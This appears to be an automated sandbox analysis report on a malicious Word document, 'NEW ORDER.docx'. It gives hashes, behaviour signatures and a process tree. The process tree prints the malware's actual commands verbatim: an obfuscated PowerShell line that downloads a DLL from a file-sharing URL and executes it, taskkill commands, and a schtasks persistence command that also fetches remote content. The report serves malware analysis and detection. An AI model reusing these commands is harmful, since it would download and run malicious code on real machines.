Analysis

  • max time kernel
    51s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    24-05-2022 08:22

General

  • Target

    NEW ORDER.docx

  • Size

    183KB

  • MD5

    e3269bf05703bb2d4e7cfcceca146ed5

  • SHA1

    e5e2a9a4c2dca94eb93669ef73219cfc7754a260

  • SHA256

    0d3613b7a4aec3b9ad6f0fc308bdf7da98a4574e6cae6ab91a8c0ea4857f1fbc

  • SHA512

    acd7810464891ad926e63b579b6b09bb569397b5f8edbbbce4c9d2407cfe2d9a807d5f2a314cf592ff489a14773ee206e9029b077953503b58ba8d22586c8f15

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://www.mediafire.com/file/jjqt737nagc8wqp/1.dll/file

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\NEW ORDER.docx"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1436
  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1684
    • C:\Windows\SysWOW64\WSCRIPT.exe
      WSCRIPT C:\Users\Public\update.js
      2⤵
      • Process spawned unexpected child process
      PID:540
  • C:\ProgramData\ddond.com
    C:\ProgramData\ddond.com https://www.mediafire.com/file/frjrn9astpfr2ua/1.htm/file
    1⤵
    • Executes dropped EXE
    • Modifies Internet Explorer settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1800
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $MMMMMMM=((n`e`W`-Obj`E`c`T (('Net'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'.'+'W'+'eb'+'c'+''+''+''+''+''+''+''+''+''+'lient'))).(('D'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'o'+'w'+'n'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).invoke((('https://www.mediafire.com/file/jjqt737nagc8wqp/1.dll/file'))));Invoke-Expression $MMMMMMM
      2⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2032
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im WinWord.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:112
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im POWERPNT.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2020
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1548
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 83 /tn calsaasdendersw /F /tr """C:\ProgramData\milon.com""""""https://www.mediafire.com/file/3cv72x1byy9pj9q/1.htm/file"""
      2⤵
      • Creates scheduled task(s)
      PID:1608
  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
    1⤵
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1028
    • C:\Windows\SysWOW64\WSCRIPT.exe
      WSCRIPT C:\Users\Public\update.js
      2⤵
      • Process spawned unexpected child process
      PID:1148
  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1628

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\ProgramData\ddond.com

    Filesize

    13KB

    MD5

    abdfc692d9fe43e2ba8fe6cb5a8cb95a

    SHA1

    d4f0397f83083e1c6fb0894187cc72aebcf2f34f

    SHA256

    949485ba939953642714ae6831d7dcb261691cac7cbb8c1a9220333801f60820

    SHA512

    c786bfb6a2316e43cb89901fae103157ec6b65117c292dc7570dd4685891b5afbb72064789b74bf55fe012c5936ed6468876e4d2cccdeff71b4abb2d76ff395f

  • C:\ProgramData\ddond.com

    Filesize

    13KB

    MD5

    abdfc692d9fe43e2ba8fe6cb5a8cb95a

    SHA1

    d4f0397f83083e1c6fb0894187cc72aebcf2f34f

    SHA256

    949485ba939953642714ae6831d7dcb261691cac7cbb8c1a9220333801f60820

    SHA512

    c786bfb6a2316e43cb89901fae103157ec6b65117c292dc7570dd4685891b5afbb72064789b74bf55fe012c5936ed6468876e4d2cccdeff71b4abb2d76ff395f

  • C:\Users\Public\update.js

    Filesize

    4KB

    MD5

    85dd8660f73e963b4cc118fcc6c5e0ff

    SHA1

    dad070232ef6f5f4f2108c14e5aa8edcfb918f19

    SHA256

    19d041a92459565d69e4b88c6add11f53cedadd34a03136facdaec16937dc9f8

    SHA512

    1ee1da0b79d08dd33b21e1a85bf315ecaf5b2ddea8bbb251b98bbe08c614f1bb839b5b74afe06beb2ebc11fec4f445c8b38dc9125d333cbcc778017d0998dda6

  • C:\Users\Public\update.js

    Filesize

    4KB

    MD5

    85dd8660f73e963b4cc118fcc6c5e0ff

    SHA1

    dad070232ef6f5f4f2108c14e5aa8edcfb918f19

    SHA256

    19d041a92459565d69e4b88c6add11f53cedadd34a03136facdaec16937dc9f8

    SHA512

    1ee1da0b79d08dd33b21e1a85bf315ecaf5b2ddea8bbb251b98bbe08c614f1bb839b5b74afe06beb2ebc11fec4f445c8b38dc9125d333cbcc778017d0998dda6

  • memory/1028-89-0x0000000070F1D000-0x0000000070F28000-memory.dmp

    Filesize

    44KB

  • memory/1028-78-0x0000000000521000-0x0000000000527000-memory.dmp

    Filesize

    24KB

  • memory/1436-58-0x0000000070F1D000-0x0000000070F28000-memory.dmp

    Filesize

    44KB

  • memory/1436-57-0x0000000075EF1000-0x0000000075EF3000-memory.dmp

    Filesize

    8KB

  • memory/1436-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1436-54-0x00000000724B1000-0x00000000724B4000-memory.dmp

    Filesize

    12KB

  • memory/1436-55-0x000000006FF31000-0x000000006FF33000-memory.dmp

    Filesize

    8KB

  • memory/1628-90-0x0000000070F1D000-0x0000000070F28000-memory.dmp

    Filesize

    44KB

  • memory/1684-69-0x0000000070F1D000-0x0000000070F28000-memory.dmp

    Filesize

    44KB

  • memory/1684-63-0x0000000000634000-0x0000000000637000-memory.dmp

    Filesize

    12KB

  • memory/1684-64-0x0000000000634000-0x0000000000637000-memory.dmp

    Filesize

    12KB

  • memory/1684-59-0x000000002FE71000-0x000000002FE74000-memory.dmp

    Filesize

    12KB

  • memory/1684-74-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2032-91-0x0000000067860000-0x0000000067E0B000-memory.dmp

    Filesize

    5.7MB

  • memory/2032-92-0x00000000024E0000-0x0000000002523000-memory.dmp

    Filesize

    268KB